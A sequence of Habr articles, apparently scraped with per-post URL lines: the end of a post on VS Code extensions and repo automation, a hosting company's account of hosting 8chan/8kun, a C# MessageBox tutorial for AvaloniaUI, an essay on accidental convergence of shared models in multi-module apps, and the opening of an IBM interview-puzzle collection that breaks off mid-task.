Расширение [Search — Open All Results](https://marketplace.visualstudio.com/items?itemName=fabiospampinato.vscode-search-open-all-results) позволяет одновременно выводить все результаты поиска с использованием единственной команды.
#### №32. Terminals Manager
Расширение [Terminals Manager](https://marketplace.visualstudio.com/items?itemName=fabiospampinato.vscode-terminals) автоматизирует работу сразу с несколькими терминалами, например, выполнение в них каких-то команд. Надо сказать, что Terminals Manager было моим первым расширением. Если вы пользуетесь терминалами — рекомендую его попробовать.
#### №33. Transmit
Расширение [Transmit](https://marketplace.visualstudio.com/items?itemName=fabiospampinato.vscode-transmit) оснащает редактор несколькими командами для организации взаимодействия с Transmit.
Управление расширениями
-----------------------
Управление множеством репозиториев может оказаться непростой задачей. Расскажу о том, как это делаю я.
### ▍Повторяющиеся коммиты
Рано или поздно наступает момент, когда требуется внести некое изменение во все поддерживаемые репозитории. Это сводится к тому, что во множество репозиториев приходится делать одни и те же коммиты. Очень скоро это превращается в скучнейшее занятие.
Для того чтобы автоматизировать решение этой задачи я создал [autogit](https://github.com/fabiospampinato/autogit) — инструмент, который позволяет выполнять команды в применении ко множеству репозиториев.

*Выполнение команды с помощью autogit*
Я постоянно нахожу новые способы использования `autogit`. Например, недавно я выполнял с помощью этого инструмента следующие изменения во всех репозиториях, в которых хранится код моих расширений для VS Code:
* Сборка с помощью `webpack`. Это дало улучшение скорости запуска примерно на 80%.
* Игнорирование файла `package-lock.json`. Этот файл только засоряет мою историю коммитов. [Вот](https://github.com/sindresorhus/ama/issues/479#issuecomment-310661514) хороший материал на эту тему.
* Обновление `tsconfig.json`. Я интенсивно использую новые возможности языка, в частности, асинхронные функции. Они транспилируются, если цель транспиляции задана как `<= es5`, в весьма медленные конструкции. Так как VS Code понимает современный код, в этом нужды больше нет.
* Удаление [TSLint](https://github.com/palantir/tslint). Я обнаружил, что, в основном, не обращаю внимания на подсказки линтера, поэтому от этой возможности я избавился.
* Использование логотипа высокого разрешение в справочных материалах. Раньше я пользовался логотипом размером 128x128, теперь, для того, чтобы улучшить внешний вид справочных материалов, использовал более качественное изображение. Не могу сказать, что сама картинка чудо как хороша, но это уже другая история.
Внести подобные изменения в один репозиторий недолго, а вот когда речь идёт о тридцати трёх, без средств автоматизации жить уже гораздо сложней.
### ▍Синхронизация описания и ключевых слов с GitHub
То, о чём тут пойдёт речь, делать необязательно, но мне не помешал бы инструмент, который автоматизирует синхронизацию описаний и ключевых слов. С этой задачей можно справиться средствами моих инструментов [autogit](https://github.com/fabiospampinato/autogit) и [autogit-command-github-sync](https://github.com/fabiospampinato/autogit-command-github-sync).

*Синхронизация описаний и ключевых слов средствами autogit*
А вот [autogit-command-github-publish](https://github.com/fabiospampinato/autogit-command-github-publish) — моё средство для автоматизированного создания новых репозиториев.
### ▍Отчёты
Вскоре после того, как я создал несколько расширений, мне стало интересно узнать о том, насколько они популярны, как, со временем, меняется количество их загрузок. Найти сведения по всем расширениям некоего разработчика можно на специальной странице. Например, [вот](https://marketplace.visualstudio.com/publishers/fabiospampinato) моя страница. Однако эта страница не даёт сведений, например, о том, сколько загрузок расширений было сделано с момента последней проверки. Именно поэтому я создал [rssa](https://github.com/fabiospampinato/rssa). Это — инструмент, который позволяет отслеживать изменения всего чего угодно, доступного по URL.

*Данные, получаемые средствами rssa*
Текст — это хорошо, но куда лучше было бы представить данные в виде графика. Сейчас я занимаюсь разработкой инструмента для решения этой задачи, его я пока не опубликовал. Вот, например, как выглядит график загрузок расширения [Todo+](https://marketplace.visualstudio.com/items?itemName=fabiospampinato.vscode-todo-plus), построенный на основе данных, полученных с помощью `rssa`.

*График загрузок Todo+*
Здесь, в некоторых местах, можно заметить резкое увеличение числа загрузок. Происходит это при публикации обновлений, так как установка обновлений расширения учитывается системой как загрузка. Это ведёт к тому, что любой может оказаться автором расширения с миллионом загрузок, написав его и опубликовав множество обновлений. Это, кстати, одна из [проблем](https://github.com/Microsoft/vscode/issues/42890) каталога расширений для VS Code.
Итоги
-----
Одно время я думал, что, по количеству опубликованных расширений для VS Code, я нахожусь на втором месте после Microsoft. Однако, как оказалось, [кое у кого](https://marketplace.visualstudio.com/publishers/GregTrevellick) их на 2 больше, чем у меня. Поэтому я продолжаю писать расширения.
**Уважаемые читатели!** Пишете ли вы расширения для VS Code?
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/429550/ | null | ru | null |
# Как мы хостили скандальный имиджборд 8chan

**[8chan](https://ru.wikipedia.org/wiki/8chan)** (новое название 8kun) — популярный анонимный форум с возможностью пользователей создавать собственные тематические разделы сайта и самостоятельно их администрировать. Известен своей политикой минимального вмешательства администрации в модерирование контента, из-за чего стал популярен у разной сомнительной публики.
После того как на сайте оставили свои послания террористы-одиночки, на форум начались гонения — их стали выгонять со всех хостингов, регистраторы разделегировали доменные имена и т.д.
С правовой точки зрения ситуация с 8chan достаточно спорная, так как администрация декларирует, что следует законам США и удаляет запрещённый контент с сайта, а также выполняет запросы правоохранительных органов. Претензии к 8chan носят скорее морально-этический характер: место имеет дурную репутацию.
2 ноября 2019 к нам на хостинг [vdsina.ru](https://vdsina.ru/?partner=8chan) пришёл 8chan. Это вызвало оживлённые споры внутри нашего коллектива из-за чего мы решили опубликовать этот пост. В статье рассказывается история гонений на 8chan и почему мы в итоге решили предоставить хостинг проекту 8chan (*который всё равно закрылся*).
Хронология событий
------------------
Мы не будем описывать конкретные эпизоды трагедий, участники которых как-либо упоминаются в контексте 8chan. Отношение к этим событиям однозначно для любого здорового человека и не является для нас предметом споров. Главный вопрос, который мы хотим поднять — это может ли поставщик услуг выступать в роли цензора и решать кому отказывать в предоставлении сервиса, основываясь не на букве закона, а на своём представлении о морали.
Опасность такого подхода несложно представить, ведь если развить эту идею, то в какой-то момент, например, ваш мобильный оператор может отключить вам услуги связи, потому что вы, по его мнению, аморальный человек, или как либо сотрудничали с недостойными людьми. Или интернет-провайдер отключит вам интернет, потому что вы посещаете плохие сайты.
Исключение из поисковой выдачи Google
-------------------------------------
В августе 2015 сайт 8ch.net перестал показываться в поисковой выдаче Google. В качестве причины для удаления было указано «Жалобы на контент, содержащий насилие над детьми». При этом правила сайта явно запрещали публикацию такого контента и с самого сайта 8ch.net подобный медиа-контент оперативно удалялся.

Спустя несколько дней, после [публикации на ArsTechnica](https://arstechnica.com/tech-policy/2015/08/8chan-hosted-content-disappears-from-google-searches/), сайт 8ch.net частично вернулся в поисковую выдачу Google.
Отключение от CloudFlare
------------------------

Сайт 8chan использовал сервис CloudFlare для защиты от DDoS-атак и в качестве CDN. 5 августа 2019 года в блоге Cloudflare был опубликован [большой пост](https://blog.cloudflare.com/terminating-service-for-8chan/) о том почему они решили прекратить обслуживание 8chan.
Вот краткие выдержки из этого поста:
> … стало известно, что подозреваемый в расстрелах террорист был вдохновлён интернет-форумом 8chan. Основываясь на предоставленных доказательствах, можно утверждать, что он выложил целую речь прямо перед тем, как убить 20 человек.
>
>
>
> ...8chan не раз подтверждал звание выгребной ямы для ненависти.
>
>
>
> **— Cloudflare о прекращении обслуживания 8chan**
>
>
В своём посте CloudFlare сравнивает сайт 8chan с другим скандальным сайтом, антисемитским новостным изданием [The Daily Stormer](https://ru.wikipedia.org/wiki/The_Daily_Stormer), которому так же ранее [было отказано](https://new.blog.cloudflare.com/why-we-terminated-daily-stormer/) в обслуживании. Однако главное отличие The Daily Stormer от 8chan в том, что первый сайт прямо позиционируется как антисемитский и контент публикуется самими авторами сайта, в то время как на 8chan весь контент является пользовательским, точно так же, как в условном facebook или twitter. При этом позиция администрации 8chan состоит в том, чтобы не вмешиваться в контент пользователей «сверх того, что требует закон США». То есть администрация сайта блокирует, к примеру, сцены насилия над несовершеннолетними, но не запрещает дискуссии.
CloudFlare явно осознают неоднозначность своего решения, когда пишут, что им оно не слишком нравится, но при этом полностью законно.
> Нам по-прежнему крайне неудобно находиться в роли судей контента и мы не планируем часто делать это. Многие ошибочно предполагают, что причина тому — первая поправка США. Это не так. Во-первых, мы частная компания и мы не ограничены первой поправкой. Во-вторых, подавляющее большинство наших покупателей, и более 50% нашего дохода приходит из-за границ США, где, ни первая поправка, ни аналогичная ей либертарианская защита свободы слова не применимы. Единственное сходство с первой поправкой здесь в том, что мы имеем право выбирать с кем вести бизнес, а с кем нет. Нас не обязывают вести бизнес со всеми.
>
>
>
> **— Cloudflare о прекращении обслуживания 8chan**
>
>
Новость о решении CloudFlare вызвала резонанс в интернете. Под постом появилось много возмущённых комментариев. Один из верхних комментариев, при сортировке по числу лайков, принадлежит хабраюзеру [ValdikSS](https://habr.com/ru/users/valdikss/)

Вольный перевод:
> Чо? Почему вы называете 8chan сайтом ненависти и обвиняете его в «беззаконии»? Это просто движок, на котором любой может создать свою борду и самостоятельно её администрировать. Как можно сравнивать это с The Daily Stormer, новостным сайтом со своим администратором?
>
>
>
> И вообще почему вы обвиняете сайт в убийствах? Это люди убивают людей, а не форум в интернете. Если они будут использовать смски и мобильную связь, чтобы общаться с другими людьми, то надо отключить мобильную связь?
>
>
Отключение хостинга
-------------------
После отключения от CloudFlare обнаружился реальный IP хостинг-площадки 8chan. Это были адреса дата-центра Voxility. Официальный аккаунт Voxility в твиттере написал, что адреса принадлежали реселлеру под названиями Epik/Bitmitigate, которого сразу отключили.

Переезд в Россию
----------------
Спустя три месяца после отключения хостинга, сайт возобновил работу под новым именем 8kun.net. Согласно расследованию [CBS News](https://www.cbsnews.com/news/8chan-new-name-8kun-web-forum-hate-speech/), сперва сайт развернулся на площадке Selectel, но в тот же день был заблокирован. После чего переехал к нам.
Почти сразу один из наших бизнес-партнёров потребовал заблокировать ресурс, потому что 8kun нарушает их AUP. Мы начали искать возможность предоставить хостинг для 8kun, не нарушая партнёрских договорённостей и как только нашли такой, разблокировали серверы 8kun. К тому моменту ресурс успел переехать на Medialand.
Мы приняли решение не блокировать сайт, пока он не нарушает законы стран, в которых мы работаем.
Подпольный хостинг Medialand
----------------------------
Вскоре домен 8kun.net стал указывать на IP-адрес 185.254.121.200, который формально не должен принадлежать никому, так как находится в нераспределённом пуле адресов и официально не выделен ещё ни одному провайдеру. Однако этот адрес анонсируется из автономной системы [AS206728](https://bgp.he.net/AS206728), которая по данным Whois принадлежит провайдеру MEDIALAND. Это русский подпольный хостинг, получивший известность после расследование Брайна Кребса — [Крупнейший пуленепробиваемый хостинг.](https://krebsonsecurity.com/2019/07/meet-the-worlds-biggest-bulletproof-hoster/)
Компания «Медиа Лэнд» принадлежит россиянину Александру Воловику, и по мнению Брайана Кребса и других исследователей, используется для хостинга мошеннических проектов, контрольных панелей ботнетов, вирусов и прочих преступных целей.
Доклад на конференции BlackHat USA 2017 о сетевой инфраструктуре преступников, в которой фигурирует хостер «Медиа Лэнд».
Как именно существует этот хостинг — большая загадка.
Разделегирование доменов
------------------------
За время существования сайта, у него сменился владелец. Из-за разногласий с прошлым владельцем, доменное имя **8ch.net** сохранить не удалось. В октябре 2019 сайт был переименован в **8kun.net** и [анонсирован перезапуск](https://twitter.com/infinitechan/status/1181054604097642496) проекта.
Пока домен 8kun.net был активен, посторонние люди зарегистрировали у регистратора name.com несколько доменов:
```
8kun.app
8kun.dev
8kun.live
8kun.org
```
И установили переадресацию на домен 8kun.net. Все эти домены были разделегированы Name.com якобы за нарушение правил, при этом заблокировав возможность переноса доменов к другому регистратору. Об этом сообщил [владелец доменов](https://twitter.com/TheCollectiveQ/status/1193824187246362627).
Вскоре домен 8kun.net был разделегирован по заявлению бывшего владельца.
Некоторые время сайт был доступен по адресу 8kun.us, но и этот домен был разделегирован.
Забавный момент — нам писал регистратор этого домена с просьбой заблокировать хостинг, хотя сами они могли выключить домен в один клик.

На текущий момент сайт 8chan полностью недоступен в клирнете (обычном интернете) и зайти на него можно только через сеть TOR используя onion-адрес.
Заключение
----------
 Мы никоим образом не поддерживаем насилие и нетерпимость в любой форме. Целью данного поста является обсуждение технической и правовой стороны проблемы. А именно: могут ли поставщики услуг самостоятельно, не дожидаясь судебных решений, определять какой ресурс является незаконным.
Совершенно очевидно, что любые публичные сервисы, которые разрешают публикацию пользовательского контента, обязательно будут регулярно использованы во зло. На площадках **Facebook, Instagram, Twitter** публикуются сотни обращений террористов и даже их прямые трансляции. При этом не ставится вопрос о том, что существование этих площадок влияет на количество преступлений.
Случай с 8chan показывает, что несколько частных компаний могут объединиться и попросту уничтожить другой ресурс, методично отключая услуги связи и разделегируя домены. По такой же схеме могут быть уничтожены и любые другие ресурсы. Вряд ли полное цензурирование интернета приведёт к снижению насилия в мире, но совершенно точно породит множество аналогичных площадок в даркнете, где отследить авторов уже будет намного сложнее.
Вопрос сложный и легко можно найти аргументы как за, так и против блокировки 8chan. А как вы считаете?
[](https://vdsina.ru/eternal-server?partner=habreternal) | https://habr.com/ru/post/477002/ | null | ru | null |
# MessageBox for AvaloniaUI
MessageBox — useful window for different GUI frameworks, but you can't find it in AvaloniaUI.
Let's try to do it.

Solution, which I wanna improve and support, you can find on [nuget](https://www.nuget.org/packages/MessageBox.Avalonia/) and on [gitlab](https://gitlab.com/maindlab/messagebox.avalonia/tree/master). It'll be glad, if somebody bring new ideas with his/her pull requests.
I wanna create my lib as easy and useful as WPF's messagebox is.
### Let's start
Call this method:
```
MessageBox.ShowForResult("test","Wanna test smth?",MessageBox.MessageBoxButtons.OkCancel);
```
and get window with header, content(text) and two buttons. (Windows 10, Ubuntu 18.04)

Class MessageBox contains public 4 methods:
ShowForResult — return result of button's click.
ShowDialog — return result of button's click and set this window as dialog window for chosen parent.
Show — show window with one «ok» button, which ignore result of click (return void).
ShowNative — try to call native window for platform, if failed, call ShowForResult.
[API](https://gitlab.com/maindlab/messagebox.avalonia/blob/master/README.md#api)
### How it works:
In every method create window,
```
var messageBox = new MessageBox();
```
and set content for each.
```
messageBox.Content = CreateBaseMsgBox(text, buttons, messageBox);
```
Content is a grid, which include rows, one for textbox:
```
var textBlock = new TextBlock();
textBlock.Text = text;
textBlock.TextAlignment = TextAlignment.Center;
textBlock.TextWrapping = TextWrapping.Wrap;
Grid.SetRow(textBlock,0);
grid.Children.Add(textBlock);
```
other for grid with buttons:
```
var btnGrid = GetButtonGrid(GetButton(window, MessageBoxResult.Yes),
GetButton(window,MessageBoxResult.No));
Grid.SetRow(btnGrid,1);
grid.Children.Add(btnGrid);
```
**Full listing for GetButtonGrid.**
```
private static Grid GetButtonGrid(params Button[] buttons)
{
var grid = new Grid();
List definitions = new List();
for (int i = 0; i < buttons.Length; i++)
{
definitions.Add(new ColumnDefinition{Width = new GridLength(5)});
definitions.Add(new ColumnDefinition{Width = new GridLength(1,GridUnitType.Star)});
}
definitions.Add(new ColumnDefinition{Width = new GridLength(5)});
grid.ColumnDefinitions.AddRange(definitions);
var j = 1;
foreach (var btn in buttons)
{
Grid.SetColumn(btn,j);
j += 2;
grid.Children.Add(btn);
}
return grid;
}
```
The functionality of the buttons is given by the method:
```
GetButton(MessageBox window,MessageBoxResult result)
```
**Read more**
```
private static Button GetButton(MessageBox window,MessageBoxResult result)
{
var btn = new Button();
btn.Content = result.ToString();
btn.Click += (_, __) =>
{
window.Res = result;
window.Close();
};
return btn;
}
```
The method accepts a window which be manipulated by buttons, and result returned by them.
And, the last thing to consider is a code fragment that provides the result of a button click:
```
var tcs = new TaskCompletionSource();
messageBox.Closed += delegate { tcs.TrySetResult(messageBox.Res); };
...
return tcs.Task;
```
As a result, we get simple windows with buttons, which will allow us to create cross-platform MessageBox.
Grateful for user [worldbeater](https://habr.com/ru/users/worldbeater/). | https://habr.com/ru/post/454386/ | null | en | null |
# Конвергенция в многомодульном приложении
В большой команде разработчики часто сталкиваются с ситуацией, что ранее сильно похожие сущности, которые даже способны пройти «[утиный тест](https://ru.wikipedia.org/wiki/%D0%A3%D1%82%D0%B8%D0%BD%D1%8B%D0%B9_%D1%82%D0%B5%D1%81%D1%82)», со временем начинают расходиться по смыслу и реализации, но все ещё продолжают хранить в себе похожие признаки. В одномодульном приложении это неприятно, а вот в многомодульном… В общем, если вы думали, что многомодульность лишь упрощает жизнь, то к концу этой статьи я постараюсь убедить вас, что как минимум в одном аспекте многомодульность её усложнит.
Конвергенция
------------
### Что такое конвергенция?
Для начала давайте разберёмся, что же такое конвергенция, и почему я использовал это слово. Основная причина в том, что это слово звучит умно. Вторая, не менее важная причина, в том, что оно отлично подходит, и прекрасно описывает суть проблемы.
Так что же такое конвергенция? Это [термин из биологии](https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%BD%D0%B2%D0%B5%D1%80%D0%B3%D0%B5%D0%BD%D1%82%D0%BD%D0%B0%D1%8F_%D1%8D%D0%B2%D0%BE%D0%BB%D1%8E%D1%86%D0%B8%D1%8F), который означает, что два биологических вида приобрели схожие свойства независимо друг от друга. Сделать это они могли по разным причинам и разными способами. Для большего понимания давайте взглянем на парочку максимально отбитых примеров.
### Примеры конвергенции
Посмотрите на это прекрасное, но уже вымершее животное — Тетраподофис.
Длинный как канат, четыре коротенькие лапки, змеиная морда. Кто же это? Первое, что приходит на ум — это какой-то предок змеи. Увы, но нет! На деле филогенетически он ближе не к змеям, а к мозазаврам. Которые, между прочим, выглядят вот так:
Просто когда-то предки тетраподофиса, как и предки змей, решили занять не слишком переполненную нишу лесной подстилки, в которой длинное тело и узкая пасть давали реальные преимущества. И если на этом этапе эволюции тетраподофис и змеи похожи как две капли (ну почти), то в дальнейшем их пути разошлись. Змеи стали выглядеть уже привычным нам образом, а вот тетраподофис вообще решил вымереть за ненадобностью.
Или вот второй пример — Прионозух.
Ну это точно что-то из рода крокодилов — длинная пасть, чешуя, четыре лапы-сардельки. Но как бы не так. Прионозух скорее просто недолягушка-переросток. Ни до, ни после, лягушка и крокодил не были так похожи.
Я привёл эти примеры для того, чтобы у вас в головах осталась мысль, что «да, на определённом этапе эволюции это могли быть очень похожие существа, но ни до, ни после они таковыми уже не являлись, просто в определённый момент — так совпало, что две разные группы животных имели схожие свойства».
Но давайте перейдём к коду, у нас же тут как-никак программисты собрались.
Конвергенция в коде
-------------------
В программировании под конвергенцией обычно понимается — когда несколько программистов приходят к схожим решениям в коде независимо друг от друга. Довольно яркий пример — когда программист пилит свой велосипед, не зная о том, что в SDK уже есть решение этой задачи и в итоге этот велосипед получается очень похожим на то, что находится в SDK, но под капотом реализации могут отличаться и в некоторых ситуациях вести себя по-разному. Я думаю, все, так или иначе, с этим сталкивались. Сегодня, я бы хотел рассмотреть немного другой аспект конвергенции. А именно: когда у нас многомодульное приложение и за разные модули отвечают разные разработчики. В таком случае конвергенция может стать проблемой.
### Проблема
Возьмём стандартный пример с животными, в данном случае это весьма уместно. Берём птицу и, допустим, стрекозу. Это абсолютно разные существа, но у них есть одно очень важное общее свойство, они летают (да, я знаю, что это, не то чтобы свойство, а скорее умение, но зато пример понятный). Лёгким движением руки мы создаём два класса: соответственно, для птицы — Bird, и для стрекозы — Dragonfly.
```
class Bird {
}
class Dragonfly {
}
```
Теперь нам как-то надо задать им общее свойство — полёт.
#### Одномодульное приложение
В детском саду учат нас, что в таком случае лучшим решением будет создание интерфейса, который каждый из классов будет реализовывать. Но если призадуматься… Действительно ли это правильное решение? Конечно правильное! Не стоит спорить с воспитателем!
Поэтому и мы создаем и отдельный интерфейс, который будет у нас отвечать за полёт — Flight.
```
class Bird : Flight {
}
class Dragonfly : Flight {
}
interface Flight {
}
```
С точки зрения одномодульного приложение всё хорошо — можно разложить классы по пакетам, где каждый из них будет потихоньку «обрастать мясом».
#### Многомодульное приложение
Но давайте попытаемся разнести наше решение на модули. Для простоты давайте опустим, что у нас есть разные типы модулей - api, фичёвые, библиотеки и пр. Про них я возможно расскажу как-нибудь потом. У нас есть просто модули и нам сейчас этого достаточно. Тот факт, что они какого-то типа не решит проблему.
Допустим, логика стрекозы усложнилась настолько, что ей понадобился отдельный модуль, то же самое произошло и с птицей. Теперь нам надо куда-то положить наш интерфейс Flight, чтобы оба этих модуля имели к нему доступ.
Можно создать отдельный модуль для полёта.
Не кажется ли вам, что отдельный модуль для интерфейса это немного жирно? Ведь это только один пример с полётом, в целом таких общих свойств может быть несметное количество. Создавать под каждый такой интерфейс отдельный модуль — решение весьма сомнительное. Слишком большое количество модулей усложняет структуру проекта и его сборку, да и ориентироваться в тысяче полупустых модулей занятие не из приятных.
Как же выйти из этого положения? Можно создать отдельный модуль для всех интерфейсов свойств. В итоге у нас получится один огромный модуль со всеми свойствами. И это во многих смыслах даже хуже чем множество отдельных модулей, так как у нас получилось то, что хочется назвать — God Module (типа есть God Object, который антипаттерн иии… ну вы поняли).
Проблема в том, что например модуль с птицей знает о свойствах, которые ему вообще не нужны, и о которых он вообще никогда не должен был узнать, например об умении отращивать шесть ног. Вы когда-нибудь видели шестиногих птиц? Вот и я нет, а для стрекоз это норма. То есть мы ему дали доступ к модулю ради интерфейса Flight, а на деле модуль птицы получил доступ ко всем доступным свойствам. А ведь одна из главных фишек многомодульности — возможность давать доступ к классам только по «запросу». Для доступа нужно явно прописать связь между модулями.
В качестве аналогии — это то же самое, как если бы мы захотели дать кому-либо доступ к какой-то из фотографий, например, с корпоратива, но присутствовала бы только возможность дать доступ ко всем вашим фото. Звучит не очень безопасно.
Так... А что с этим можно сделать? Можно, например, сгрупировать все свойства, связанные с «небесными» созданиями, в том числе и полёт, в один модуль, а все свойства, связанные насекомыми, в другой модуль.
И на самом деле, вроде ничего такое решение, например у нас в Android приложении Циан — именно так. С одной стороны, у нас нет сотен полупустых модулей, а с другой, получить доступ к совсем уж случайным вещам просто так нельзя. Возвращаясь к аналогии с фото, мы теперь даем доступ не ко всем нашим фото, а например, к конкретному альбому — «Пасха».
Но и у этого решения тоже есть проблема. По сути, нет чёткого правила деления на модули. Всё завязано на решениях конкретного разработчика, а каждый мыслит по-своему. Он может захотеть сделать не sky-module и insect-module, а сгруппировать свойства по другому признаку, например, fly-module и walk-module. Если разработчиков много, то таких несостыковок в видении может накопиться приличное количество.
Давайте посмотрим на пример из жизни.
### Пример из жизни
Допустим, у нас есть абстрактное приложение для подачи объявлений о недвижимости. У нас есть сам объект объявления — Offer и объект пользователя, подавшего это объявление, — User.
У объявления есть изображение. У этого изображения есть три версии: полная, чтобы можно было приближать и рассматривать, есть версия среднего размера и есть совсем малого для использования в превью. Мы как люди искушенные в архитектуре приложений создадим для этого изображения целый отдельный класс, ведь мы смотрим в будущее, а в будущем у объявления может быть несколько изображений. Класс назовём Image и под каждую версию будет отдельное property со ссылкой.
```
data class Image(
val bigUrl: String,
val mediumUrl: String,
val previewUrl: String,
)
```
Ну а дальше просто начинаем использовать Image в объекте нашего объявления.
```
data class Offer(
val title: String,
val image: Image,
)
```
Вроде бы все круто и логично, но где-то на совершенно другом конце приложения, совершенно другой разработчик начинает делать раздел со списком пользователей, где у каждого пользователя тоже есть изображение, которое может быть трёх размеров: большое, среднее и малое…
#### Одномодульное приложение
Будь у нас классическое одномодульное приложение, то всё было бы довольно просто — берём и переиспользуем класс Image и для пользователя, и для объявления.
```
data class User(
val name: String,
val image: Image,
)
```
Разве что стоит положить Image в отдельный пакет. В целом схема получается следующая:
#### Многомодульное приложение
В многомодульном приложении у нас имеется отдельный модуль для объявлений и отдельный модуль для пользователя. Получается, Image надо тоже положить в какой-то отдельный модуль? Ситуация очень схожа с интерфейсом Flight.
Поэтому мы выносим Image в какой-то третий модуль. Разработчик модуля пользователя, сам решает в какой именно.
И вроде бы всё хорошо: есть модули фичей, они смотрят на какой-то общий модуль и используют класс Image из него. Но… Через три месяца выясняется, что для объекта объявления нам нужен ещё один размер картинки — оригинальный. Он понадобится для фичи скачивания фотографии. Backend-разработчик фичи объявлений в ответ метода, который возвращает объявления, в объект image добавляет еще одно property — originalUrl.
Мобильный разработчик фичи объявлений смотрит на все это и понимает, что в целом это задача на полчасика. Сделать кнопку скачивания, да новое property в класс Image добавить. Правда его придётся сделать nullable, ведь image для пользователя никто не менял. Ну и ничего страшного, не менять же всю эту логику с модулями ради одного поля.
```
data class Image(
val originalUrl: String?,
val fullUrl: String,
val mediumUrl: String,
val previewUrl: String,
)
```
Ещё через месяц у нас в фиче пользователя решают добавить ещё один формат для картинки — круглый. А делать круглой решили на сервере, чтобы не нагружать клиент. Разработчики фичи пользователя руководствуются той же логикой, что и разработчики фичи объявлений, и в итоге мы получаем новое nullable property в классе Image.
```
data class Image(
val originalUrl: String?,
val circleUrl: String?,
val fullUrl: String,
val mediumUrl: String,
val previewUrl: String,
)
```
В итоге у нас в Image есть два nullable property. Стороннему разработчику, не знакомому ранее ни с фичей объявлений, ни с фичей пользователя, вообще будет непонятно, в каком случае будет null, а в каком нет. Придётся разбираться или добавлять кучу комментариев к коду.
Пример с картинкой выглядит не очень страшно. Но я думаю несложно представить, что будет в дальнейшем с подобными объектами, если фич использующих их будет не две, а пять или десять. Ситуация только будет усугубляться и в итоге у нас получится монструозный объект, по которому даже нельзя понять, в каком случае и какие поля будут null.
В одномодульном же приложении всё не так уж ужасно, нужно просто продублировать класс Image, что не займёт много времени. А вот в многомодульном это может стать проблемой, так как обычной копией всё не ограничится — придется разруливать иерархию модулей. В реальности она может быть гораздо сложнее прямого подключения. Например модуль объявлений и модуль пользователя могут подключать модуль содержащий Image не напрямую, а через модуль-посредник. Вдобавок к этому с экрана объявления можно открыть экран галереи, в который нужно передать Image. И вот тогда начнётся жара.
Суть
----
Я не говорю про то, что такие ситуации возникают только при использовании многомодульности. В одномодульном приложении такое тоже происходит. Просто именно в многомодульном приложении высока цена такой ошибки. На её решение вместо получаса может понадобиться потратить несколько часов, а иногда и целый день. И все для того, чтобы разобраться со связями всего одного объекта, который используется везде. Поэтому именно в мультимодульном приложении надо стараться бдить и следить, чтобы таких ситуаций не возникало.
Как так получается то?
----------------------
Всё дело в том, что на каком-то этапе своей «эволюции» объекты картинок для пользователя и для объявления выглядели одинаково. Ну а дальше? Дальше их пути разошлись, так как на самом деле в своей сути это разные объекты.
У нас в приложении похожая ситуация сложилась с объектом объявления — Offer. Один и тот же класс использовался как для экрана отображения объявления, так и для экрана создания объявления. Затем ещё в некоторых местах, и ещё, и ещё и ещё. В итоге даже id у него nullable, не говоря уже о том, что занимает он почти 3 000 строк (правда на Java). Количество использований этого класса в проекте более 1 500, при том что в последнее время мы довольно активно уходим от его использования.
Всё это сильно затрудняет работу с ним, добавить новое поле — проблема, переименовать что-то проблема, понять «в данном месте это поле будет null или нет» — проблема и даже перестать его использовать — проблема. Всё это ломает иерархию и структуру модулей. И все из-за того, что в определённый момент объекты объявления для экрана отображения объявления и для экрана создания объявления были максимально похожи и разработчики решили использовать один объект. Но ни до этого, ни после они уже не были так похожи. Если вдуматься, то они и не должны были быть одинаковыми, просто так совпало. Точно так же как с животными, про которых я говорил в начале.
Как мне кажется это всё из-за сидящего в подкорке каждого программиста желания максимально всё переиспользовать, так еще и давит пресловутый принцип [Don’t repeat yourself (DRY)](https://ru.wikipedia.org/wiki/Don%E2%80%99t_repeat_yourself), из-за которого «молодой разработчик» не захочет создавать два одинаковых объекта.
Что же делать?
--------------
Подумать. А потом ещё раз подумать. Не звучит как решение, не правда ли? Но сколько я не размышляю над этим, всё время прихожу к тому, что прежде чем пытаться переиспользовать какой-то класс, стоит задать себе вопросы — «А это точно один и тот же объект по сути? Или просто на данный момент они похожи?».
С объектами которые мы используем для общения с сервером, есть приятное исключение. Можно просто спросить бэкенд-разработчика. Если на сервере это разные таблицы, то вам определённо стоит сделать разные объекты.
В этой статье я хотел продемонстрировать достаточно частую проблему, у которой нет идеального решения. Которая, к тому же, сильно усугубляется при использовании многомодульности. Я уверен, что все разработчики с ней, так или иначе, сталкиваются. Она выражается не только в использовании моделей данных. Что-то похожее можно встретить и с переиспользованием утилит, обогащением классов, методов и т.д. Сформулировав для себя проблему и придумав ей название, мы смогли избавиться от многословности в дискуссиях и CodeReview, просто задавая вопрос: «А не конвергенция ли у тебя тут получается?». Что думаете? Встречалась ли вам такая проблема? Как вы её решали? | https://habr.com/ru/post/662766/ | null | ru | null |
# Выпуск#24: ITренировка — актуальные вопросы и задачи от ведущих компаний
В новый выпуск ITренировки вошли задачи от «синего гиганта», компании IBM.

В этой компании, с богатым историческим прошлым, тоже задают логические задачи на собеседованиях. Некоторые из них, самые интересные на наш взгляд, мы включили в подборку. Под катом Вас ждут задачи для соискателей, как обычно — не только простые, но и требующие размышления.
#### Вопросы
1. **Chickens**
> A farmer sold a few chickens to four different customers on a particular day. It was such that each customer purchased half of the remaining chickens and a half chicken more.
>
>
>
> Can you find out how many chicken were sold by the farmer on that day if we tell you that the fourth customer bought a single chicken ?
**Перевод**За один день фермер продал несколько цыплят четырем покупателям. Так вышло, что каждый из них купил половину остававшихся цыплят и ещё полцыплёнка.
Можете ли Вы сказать, сколько цыплят было продано в этот день, если известно, что 4-ый покупатель купил целого цыпленка?
2. **Bullets and revolver**
> A Russian gangster kidnaps you. He puts two bullets in consecutive order in an empty six-round revolver, spins it, points it at your head and shoots. \*click\* You’re still alive. He then asks you, “do you want me to spin it again and fire or pull the trigger again right away?” For each option, what is the probability that you’ll be shot?
**Перевод**Вас похитил русский бандит (*ох уж эти стереотипы!*). Он последовательно вставил 2 пули в шестизарядный револьвер, прокрутил барабан, прицелился Вам в голову и спустил курок. \*щёлк\*. Вы всё ещё живы. Бандит спросил Вас — «Вы желаете, чтобы я прокрутил ещё раз и выстрелил, или выстрелил немедленно?». Какова вероятность быть застреленным в каждом случае?
#### Задачи
1. **Sort a stack using recursion**
> Given a stack, the task is to sort it using recursion. Use of any loop constructs like while, for..etc is not allowed. We can only use the following ADT functions on Stack S:
>
>
>
> is\_empty(S): Tests whether stack is empty or not.
>
> push(S): Adds new element to the stack.
>
> pop(S): Removes top element from the stack.
>
> top(S): Returns value of the top element. Note that this function does not remove element from the stack.
>
>
>
> Example:
>
>
>
> Input: -3 < — Top
>
